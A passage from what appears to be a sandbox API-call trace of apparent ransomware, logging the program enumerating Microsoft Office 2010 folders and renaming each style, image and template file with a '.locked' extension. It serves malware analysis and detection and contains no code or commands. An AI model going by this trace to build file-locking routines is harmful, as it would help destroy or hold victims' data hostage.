(lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.locked"), dwFlags=0x2) returned 1 [0035.528] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.locked"), dwFlags=0x2) returned 1 [0035.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif.locked"), dwFlags=0x2) returned 1 [0035.534] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif.locked"), dwFlags=0x2) returned 1 [0035.536] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif.locked"), dwFlags=0x2) returned 1 [0035.540] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif.locked"), dwFlags=0x2) returned 1 [0035.542] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb82b7e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb82b7e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.547] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.locked"), dwFlags=0x2) returned 1 [0035.551] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.locked"), dwFlags=0x2) returned 1 [0035.552] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb82ddfe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb82ddfe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.561] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue\\background.gif.locked"), dwFlags=0x2) returned 1 [0035.569] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.locked"), dwFlags=0x2) returned 1 [0035.572] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8304140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8304140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.574] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.locked"), dwFlags=0x2) returned 1 [0035.578] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Document.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\document.gif.locked"), dwFlags=0x2) returned 1 [0035.582] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Generic.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\generic.gif.locked"), dwFlags=0x2) returned 1 [0035.584] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.locked"), dwFlags=0x2) returned 1 [0035.588] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Main.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\main.gif.locked"), dwFlags=0x2) returned 1 [0035.592] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Person.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\person.gif.locked"), dwFlags=0x2) returned 1 [0035.596] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\Response.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\response.gif.locked"), dwFlags=0x2) returned 1 [0035.607] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.locked"), dwFlags=0x2) returned 1 [0035.609] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.locked"), dwFlags=0x2) returned 1 [0035.612] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.locked"), dwFlags=0x2) returned 1 [0035.614] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Person.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_person.css.locked"), dwFlags=0x2) returned 1 [0035.616] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Response.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_response.css.locked"), dwFlags=0x2) returned 1 [0035.617] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb8376560, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8376560, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.622] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen.css.locked"), dwFlags=0x2) returned 1 [0035.627] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.locked"), dwFlags=0x2) returned 1 [0035.630] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb839c6c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb839c6c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.632] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif.locked"), dwFlags=0x2) returned 1 [0035.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.locked"), dwFlags=0x2) returned 1 [0035.641] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb839c6c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb839c6c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0035.644] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif.locked"), dwFlags=0x2) returned 1 [0035.649] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.locked"), dwFlags=0x2) returned 1 [0035.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css.locked"), dwFlags=0x2) returned 1 [0035.659] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\TexturedBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\texturedblue.css.locked"), dwFlags=0x2) returned 1 [0035.671] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\VelvetRose.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\velvetrose.css.locked"), dwFlags=0x2) returned 1 [0035.686] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.locked"), dwFlags=0x2) returned 1 [0035.700] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8434c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8434c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.705] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb8434c40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb8434c40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.712] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb845ada0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb845ada0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f6, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0035.723] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.locked"), dwFlags=0x2) returned 1 [0035.734] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.locked"), dwFlags=0x2) returned 1 [0035.745] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.locked"), dwFlags=0x2) returned 1 [0035.756] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.locked"), dwFlags=0x2) returned 1 [0035.766] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.locked"), dwFlags=0x2) returned 1 [0035.778] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.locked"), dwFlags=0x2) returned 1 [0035.788] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.locked"), dwFlags=0x2) returned 1 [0035.799] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx.locked"), dwFlags=0x2) returned 1 [0035.810] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.locked"), dwFlags=0x2) returned 1 [0036.310] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.locked"), dwFlags=0x2) returned 1 [0036.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.locked"), dwFlags=0x2) returned 1 [0036.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.locked"), dwFlags=0x2) returned 1 [0036.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.locked" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.locked"), dwFlags=0x2) returned 1 [0036.383] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft 